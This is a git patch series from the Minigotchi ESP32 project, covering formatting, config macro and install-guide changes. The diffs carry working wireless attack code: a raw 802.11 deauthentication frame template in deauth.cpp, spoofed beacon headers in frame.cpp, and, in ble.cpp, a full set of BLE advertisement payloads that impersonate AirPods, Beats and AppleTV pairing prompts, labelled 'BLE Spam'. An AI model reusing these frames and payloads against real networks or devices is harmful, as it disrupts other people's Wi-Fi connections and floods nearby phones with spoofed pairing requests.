From 93e31b5c50487254e6b9761cb8a5ab65ee0da387 Mon Sep 17 00:00:00 2001 From: dj1ch Date: Wed, 20 Nov 2024 22:59:23 -0800 Subject: [PATCH 01/10] fix formatting --- minigotchi-ESP32/deauth.cpp | 33 ++++++--------------------- minigotchi-ESP32/frame.cpp | 45 ++++++++----------------------------- 2 files changed, 16 insertions(+), 62 deletions(-) diff --git a/minigotchi-ESP32/deauth.cpp b/minigotchi-ESP32/deauth.cpp index 0c0555d..97e41c2 100644 --- a/minigotchi-ESP32/deauth.cpp +++ b/minigotchi-ESP32/deauth.cpp @@ -56,32 +56,13 @@ Mood &Deauth::mood = Mood::getInstance(); */ uint8_t Deauth::deauthTemp[26] = { - /* 0 - 1 */ 0xC0, - 0x00, // Type, subtype: c0 => deauth, a0 => disassociate - /* 2 - 3 */ 0x00, - 0x00, // Duration (handled by the SDK) - /* 4 - 9 */ 0xFF, - 0xFF, - 0xFF, - 0xFF, - 0xFF, - 0xFF, // Reciever MAC (To) - /* 10 - 15 */ 0xCC, - 0xCC, - 0xCC, - 0xCC, - 0xCC, - 0xCC, // Source MAC (From) - /* 16 - 21 */ 0xCC, - 0xCC, - 0xCC, - 0xCC, - 0xCC, - 0xCC, // BSSID MAC (From) - /* 22 - 23 */ 0x00, - 0x00, // Fragment & squence number - /* 24 - 25 */ 0x01, - 0x00 // Reason code (1 = unspecified reason) + /* 0 - 1 */ 0xC0, 0x00, // Type, subtype: c0 => deauth, a0 => disassociate + /* 2 - 3 */ 0x00, 0x00, // Duration (handled by the SDK) + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Reciever MAC (To) + /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // Source MAC (From) + /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID MAC (From) + /* 22 - 23 */ 0x00, 0x00, // Fragment & squence number + /* 24 - 25 */ 0x01, 0x00 // Reason code (1 = unspecified reason) }; uint8_t Deauth::deauthFrame[26]; diff --git a/minigotchi-ESP32/frame.cpp b/minigotchi-ESP32/frame.cpp index 19671d5..33f9296 100644 --- a/minigotchi-ESP32/frame.cpp +++ b/minigotchi-ESP32/frame.cpp @@ -62,42 +62,15 @@ Mood &Frame::mood = Mood::getInstance(); // Don't even dare restyle! const uint8_t Frame::header[]{ - /* 0 - 1 */ 0x80, - 0x00, // frame control, beacon frame - /* 2 - 3 */ 0x00, - 0x00, // duration - /* 4 - 9 */ 0xff, - 0xff, - 0xff, - 0xff, - 0xff, - 0xff, // broadcast address - /* 10 - 15 */ 0xde, - 0xad, - 0xbe, - 0xef, - 0xde, - 0xad, // source address - /* 16 - 21 */ 0xde, - 0xad, - 0xbe, - 0xef, - 0xde, - 0xad, // bssid - /* 22 - 23 */ 0x00, - 0x00, // fragment and sequence number - /* 24 - 32 */ 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, // timestamp - /* 33 - 34 */ 0x64, - 0x00, // interval - /* 35 - 36 */ 0x11, - 0x04, // capability info + /* 0 - 1 */ 0x80, 0x00, // frame control, beacon frame + /* 2 - 3 */ 0x00, 0x00, // duration + /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // broadcast address + /* 10 - 15 */ 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, // source address + /* 16 - 21 */ 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, // bssid + /* 22 - 23 */ 0x00, 0x00, // fragment and sequence number + /* 24 - 32 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // timestamp + /* 33 - 34 */ 0x64, 0x00, // interval + /* 35 - 36 */ 0x11, 0x04, // capability info }; // get header length From 1b3634f59fbaaa5bddc50ed10a8e5c60adff0143 Mon Sep 17 00:00:00 2001 From: dj1ch Date: Thu, 21 Nov 2024 15:57:44 -0800 Subject: [PATCH 02/10] move disp macro to header --- minigotchi-ESP32/config.cpp | 3 --- minigotchi-ESP32/config.h | 3 +++ 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/minigotchi-ESP32/config.cpp b/minigotchi-ESP32/config.cpp index b9d2930..43229d3 100644 --- a/minigotchi-ESP32/config.cpp +++ b/minigotchi-ESP32/config.cpp @@ -52,9 +52,6 @@ bool Config::parasite = false; bool Config::display = false; std::string Config::screen = ""; -// quick and dirty way to save space if you're not using a display -#define disp 0 - // define baud rate int Config::baud = 115200; diff --git a/minigotchi-ESP32/config.h b/minigotchi-ESP32/config.h index e3159b4..8d64827 100644 --- a/minigotchi-ESP32/config.h +++ b/minigotchi-ESP32/config.h @@ -33,6 +33,9 @@ #include #include +// quick and dirty way to save space if you're not using a display +#define disp 1 + class Config { public: static bool deauth; From 0c38255b1c48dc0925d4b525e04abbdce8daa756 Mon Sep 17 00:00:00 2001 From: dj1ch Date: Sat, 23 Nov 2024 00:05:00 -0800 Subject: [PATCH 03/10] move file location --- INSTALL.md | 27 ++++++++++++++++----------- 1 file changed, 16 insertions(+), 11 deletions(-) diff --git a/INSTALL.md b/INSTALL.md index 1de29c7..435ac4d 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -95,15 +95,6 @@ There are multiple different screen types available: Set `bool Config::display = false;` to true, and `std::string Config::screen = "";` to one of those screen types if your screen is supported. -- This next line is also imporant, whether or not you use a screen. - -```cpp -// quick and dirty way to save space if you're not using a display -#define disp 0 -``` - -Here, we define whether or not we use a display (at least for the libraries). The reason we need this is because it determines whether or not your screen libraries will be included in the final sketch. It saves a lot of space because libraries tend to take up most of the program memory. If you're not using a display, keep this setting at `0`. If you are, set it to `1`. - - There should also be a line that says: ```cpp @@ -122,7 +113,20 @@ int Config::channels[13] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}; Usually, this shouldn't be changed as these are the only channels we can access on the ESP32. Some ESP32s may be able to access 5ghz channels but not all of them. These are only 2.4 ghz channels. -- Save and exit the file when you have configured everything to your liking. Note you cannot change this after it is flashed onto the board. +- Save and exit this file when you have configured everything to your liking. Note you cannot change this after it is flashed onto the board. + +- Additionally, you will need to change the file `config.h` + +- This line is also imporant, whether or not you use a screen. + +```cpp +// quick and dirty way to save space if you're not using a display +#define disp 0 +``` + +Here, we define whether or not we use a display (at least for the libraries). The reason we need this is because it determines whether or not your screen libraries will be included in the final sketch. It saves a lot of space because libraries tend to take up most of the program memory. If you're not using a display, keep this setting at `0`. If you are, set it to `1`. + +- After you're done with that, save all your files and proceed to the next steps. Once you flash, you will not be able to change your settings unless you flash again. (The only exception of this is the whitelist) ### Step 2: Building and flashing @@ -142,7 +146,7 @@ https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32 - Open up the Minigotchi folder through the IDE by pushing `Ctrl+O`, or by going to `File` > `Open`, then selecting the folder the .ino is in. If other tabs don't show up, along with `minigotchi-ESP32.ino`, make sure to copy and paste the files into the same directory/folder as that lone `.ino` file. It won't be able to compile if that happens. -- Install the following dependencies (with their dependencies as well) with the library manager: +- Install the following dependencies (with their dependencies as well) with the library manager.: - `ArduinoJson` - `Adafruit GFX` - `Adafruit SSD1306` @@ -152,6 +156,7 @@ https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32 - `AsyncTCP` - Remove/uninstall/modify your screen library depending on your display for `Config::screen` below, some of these dependencies may have already been installed previously. - Sometimes the repository owner of certain libraries may require you to install it a certain way, be sure to follow their guides if needed/included. + - Keep in mind if `disp` is set to `0` in `config.h` then you won't need to install screen libraries at the cost of no screen being used | `SSD1306` | `WEMOS_OLED_SHIELD` | `CYD` | `T_DISPLAY_S3` | Any `M5`\* board | `SSD1305` | `IDEASPARK_SSD1306` | `SH1106` | | -------------------------------------------------------------------------- | -------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------ | -------------------------- | -------------------------- | -------------------------- | From 6f86e22dad47b19598e6ad9fac112c9b1b76f973 Mon Sep 17 00:00:00 2001 From: dj1ch Date: Sat, 23 Nov 2024 13:54:01 -0800 Subject: [PATCH 04/10] default to zero --- minigotchi-ESP32/config.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/minigotchi-ESP32/config.h b/minigotchi-ESP32/config.h index 8d64827..52c4ea8 100644 --- a/minigotchi-ESP32/config.h +++ b/minigotchi-ESP32/config.h @@ -34,7 +34,7 @@ #include // quick and dirty way to save space if you're not using a display -#define disp 1 +#define disp 0 class Config { public: From 744c1cc224e0fd1932c5a1c6324afa52d2070235 Mon Sep 17 00:00:00 2001 From: dj1ch Date: Sat, 23 Nov 2024 13:54:11 -0800 Subject: [PATCH 05/10] clarify the attack --- minigotchi-ESP32/ble.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/minigotchi-ESP32/ble.cpp b/minigotchi-ESP32/ble.cpp index 8a44768..1bdc188 100644 --- a/minigotchi-ESP32/ble.cpp +++ b/minigotchi-ESP32/ble.cpp @@ -288,13 +288,13 @@ void Ble::init() { * Starts BLE */ void Ble::start() { - Serial.println(mood.getIntense() + " Starting Advertisement..."); - Display::updateDisplay(mood.getIntense(), "Starting Advertisement..."); + Serial.println(mood.getIntense() + " Starting BLE Spam..."); + Display::updateDisplay(mood.getIntense(), "Starting BLE Spam..."); pAdvertising->start(); delay(delaySeconds * 1000); pAdvertising->stop(); - Display::updateDisplay(mood.getNeutral(), "Advertisement Stopped"); - Serial.println(mood.getNeutral() + " Advertisement Stopped"); + Display::updateDisplay(mood.getNeutral(), "BLE Spam Stopped"); + Serial.println(mood.getNeutral() + " BLE Spam Stopped"); } /** From 5ef2667a3a002dd057fd5e0acbacb8580f6ea8ba Mon Sep 17 00:00:00 2001 From: "Restyled.io" Date: Sat, 23 Nov 2024 22:59:47 +0000 Subject: [PATCH 06/10] Restyled by astyle --- minigotchi-ESP32/ble.cpp | 351 ++++++++++--------- minigotchi-ESP32/config.cpp | 104 +++--- minigotchi-ESP32/config.h | 106 +++--- minigotchi-ESP32/deauth.cpp | 674 ++++++++++++++++++------------------ minigotchi-ESP32/frame.cpp | 254 +++++++------- 5 files changed, 763 insertions(+), 726 deletions(-) diff --git a/minigotchi-ESP32/ble.cpp b/minigotchi-ESP32/ble.cpp index 1bdc188..0ba1875 100644 --- a/minigotchi-ESP32/ble.cpp +++ b/minigotchi-ESP32/ble.cpp @@ -35,11 +35,13 @@ BLEAdvertising *Ble::pAdvertising; -int Ble::random(int min, int max) { return min + rand() % (max - min + 1); } +int Ble::random(int min, int max) { + return min + rand() % (max - min + 1); +} // User selectable variables int Ble::deviceType = Ble::random( - 1, 26); // 1 for Airpods, 2 for Airpods Pro, 3 for Airpods Max, 4 for... + 1, 26); // 1 for Airpods, 2 for Airpods Pro, 3 for Airpods Max, 4 for... int Ble::delaySeconds = 5; // delay in seconds int Ble::advType = 2; // 0 - ADV_TYPE_IND @@ -57,259 +59,290 @@ Mood &Ble::mood = Mood::getInstance(); uint8_t dataAirpods[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataAirpodsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataAirpodsMax[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataAirpodsGen2[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataAirpodsGen3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataAirpodsProGen2[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; uint8_t dataPowerBeats[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataPowerBeatsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataBeatsSoloPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataBeatsStudioBuds[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; uint8_t dataBeatsFlex[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataBeatsX[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataBeatsSolo3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x06, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataBeatsStudio3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x09, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataBeatsStudioPro[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x17, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; uint8_t dataBeatsFitPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x12, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; uint8_t dataBeatsStudioBudsPlus[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x16, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; uint8_t dataAppleTVSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x01, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 + }; uint8_t dataAppleTVPair[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x06, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 + }; uint8_t dataAppleTVNewUser[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; uint8_t dataAppleTVAppleIDSetup[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; uint8_t dataAppleTVWirelessAudioSync[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; uint8_t dataAppleTVHomekitSetup[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; uint8_t dataAppleTVKeyboard[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; uint8_t dataAppleTVConnectingToNetwork[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; uint8_t dataHomepodSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0b, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 + }; uint8_t dataSetupNewPhone[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x09, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 + }; uint8_t dataTransferNumber[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; uint8_t dataTVColorBalance[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 +}; /** * Initializes bluetooth and sets up payload */ void Ble::init() { - BLEDevice::init(""); + BLEDevice::init(""); - // Create the BLE Server - BLEServer *pServer = BLEDevice::createServer(); + // Create the BLE Server + BLEServer *pServer = BLEDevice::createServer(); - pAdvertising = pServer->getAdvertising(); - BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); + pAdvertising = pServer->getAdvertising(); + BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); - // Select the appropriate data based on the device type - uint8_t *data; - switch (deviceType) { - case 1: - data = dataAirpods; - break; - case 2: - data = dataAirpodsPro; - break; - case 3: - data = dataAirpodsMax; - break; - case 4: - data = dataAirpodsGen2; - break; - case 5: - data = dataAirpodsGen3; - break; - case 6: - data = dataAirpodsProGen2; - break; - case 7: - data = dataPowerBeats; - break; - case 8: - data = dataPowerBeatsPro; - break; - case 9: - data = dataBeatsSoloPro; - break; - case 10: - data = dataBeatsStudioBuds; - break; - case 11: - data = dataBeatsFlex; - break; - case 12: - data = dataBeatsX; - break; - case 13: - data = dataBeatsSolo3; - break; - case 14: - data = dataBeatsStudio3; - break; - case 15: - data = dataBeatsStudioPro; - break; - case 16: - data = dataBeatsFitPro; - break; - case 17: - data = dataBeatsStudioBudsPlus; - break; - case 18: - data = dataAppleTVSetup; - break; - case 19: - data = dataAppleTVPair; - break; - case 20: - data = dataAppleTVNewUser; - break; - case 21: - data = dataAppleTVAppleIDSetup; - break; - case 22: - data = dataAppleTVWirelessAudioSync; - break; - case 23: - data = dataAppleTVHomekitSetup; - break; - case 24: - data = dataAppleTVKeyboard; - break; - case 25: - data = dataAppleTVConnectingToNetwork; - break; - case 26: - data = dataTVColorBalance; - break; - default: - data = dataAirpods; // default to dataAirpods if no valid deviceType is - // provided - break; - } - // This flag does not seem to be needed for ESP32 BLE - // oAdvertisementData.setFlags(0x03); + // Select the appropriate data based on the device type + uint8_t *data; + switch (deviceType) { + case 1: + data = dataAirpods; + break; + case 2: + data = dataAirpodsPro; + break; + case 3: + data = dataAirpodsMax; + break; + case 4: + data = dataAirpodsGen2; + break; + case 5: + data = dataAirpodsGen3; + break; + case 6: + data = dataAirpodsProGen2; + break; + case 7: + data = dataPowerBeats; + break; + case 8: + data = dataPowerBeatsPro; + break; + case 9: + data = dataBeatsSoloPro; + break; + case 10: + data = dataBeatsStudioBuds; + break; + case 11: + data = dataBeatsFlex; + break; + case 12: + data = dataBeatsX; + break; + case 13: + data = dataBeatsSolo3; + break; + case 14: + data = dataBeatsStudio3; + break; + case 15: + data = dataBeatsStudioPro; + break; + case 16: + data = dataBeatsFitPro; + break; + case 17: + data = dataBeatsStudioBudsPlus; + break; + case 18: + data = dataAppleTVSetup; + break; + case 19: + data = dataAppleTVPair; + break; + case 20: + data = dataAppleTVNewUser; + break; + case 21: + data = dataAppleTVAppleIDSetup; + break; + case 22: + data = dataAppleTVWirelessAudioSync; + break; + case 23: + data = dataAppleTVHomekitSetup; + break; + case 24: + data = dataAppleTVKeyboard; + break; + case 25: + data = dataAppleTVConnectingToNetwork; + break; + case 26: + data = dataTVColorBalance; + break; + default: + data = dataAirpods; // default to dataAirpods if no valid deviceType is + // provided + break; + } + // This flag does not seem to be needed for ESP32 BLE + // oAdvertisementData.setFlags(0x03); - // Set the advertisement data type - switch (advType) { - case 0: - pAdvertising->setAdvertisementType(ADV_TYPE_IND); - break; - case 1: - pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_HIGH); - break; - case 2: - pAdvertising->setAdvertisementType(ADV_TYPE_SCAN_IND); - break; - case 3: - pAdvertising->setAdvertisementType(ADV_TYPE_NONCONN_IND); - break; - case 4: - pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_LOW); - break; - } + // Set the advertisement data type + switch (advType) { + case 0: + pAdvertising->setAdvertisementType(ADV_TYPE_IND); + break; + case 1: + pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_HIGH); + break; + case 2: + pAdvertising->setAdvertisementType(ADV_TYPE_SCAN_IND); + break; + case 3: + pAdvertising->setAdvertisementType(ADV_TYPE_NONCONN_IND); + break; + case 4: + pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_LOW); + break; + } - // Set up the advertisement data - oAdvertisementData.addData(std::string((char *)data, sizeof(dataAirpods))); - pAdvertising->setAdvertisementData(oAdvertisementData); + // Set up the advertisement data + oAdvertisementData.addData(std::string((char *)data, sizeof(dataAirpods))); + pAdvertising->setAdvertisementData(oAdvertisementData); } /** * Starts BLE */ void Ble::start() { - Serial.println(mood.getIntense() + " Starting BLE Spam..."); - Display::updateDisplay(mood.getIntense(), "Starting BLE Spam..."); - pAdvertising->start(); - delay(delaySeconds * 1000); - pAdvertising->stop(); - Display::updateDisplay(mood.getNeutral(), "BLE Spam Stopped"); - Serial.println(mood.getNeutral() + " BLE Spam Stopped"); + Serial.println(mood.getIntense() + " Starting BLE Spam..."); + Display::updateDisplay(mood.getIntense(), "Starting BLE Spam..."); + pAdvertising->start(); + delay(delaySeconds * 1000); + pAdvertising->stop(); + Display::updateDisplay(mood.getNeutral(), "BLE Spam Stopped"); + Serial.println(mood.getNeutral() + " BLE Spam Stopped"); } /** * *Manually* stops BLE spam if it is already running */ -void Ble::stop() { pAdvertising->stop(); } +void Ble::stop() { + pAdvertising->stop(); +} /** * Self explanatory... */ void Ble::spam() { - if (Config::spam) { - Ble::init(); - Ble::start(); - } else { - // do nothing - } + if (Config::spam) { + Ble::init(); + Ble::start(); + } else { + // do nothing + } } diff --git a/minigotchi-ESP32/config.cpp b/minigotchi-ESP32/config.cpp index 43229d3..afa36e5 100644 --- a/minigotchi-ESP32/config.cpp +++ b/minigotchi-ESP32/config.cpp @@ -115,65 +115,65 @@ std::string Config::version = "3.5.2-beta"; * Loads configuration values from NVS */ void Config::loadConfig() { - nvs_handle_t cfgHandle; - esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); - if (err == ESP_OK) { - // load Config::configured - uint8_t configured = 0; - err = nvs_get_u8(cfgHandle, "configured", &configured); + nvs_handle_t cfgHandle; + esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); if (err == ESP_OK) { - Config::configured = (configured == 1); - } + // load Config::configured + uint8_t configured = 0; + err = nvs_get_u8(cfgHandle, "configured", &configured); + if (err == ESP_OK) { + Config::configured = (configured == 1); + } - // load Config::whitelist - size_t required_size = 0; - err = nvs_get_str(cfgHandle, 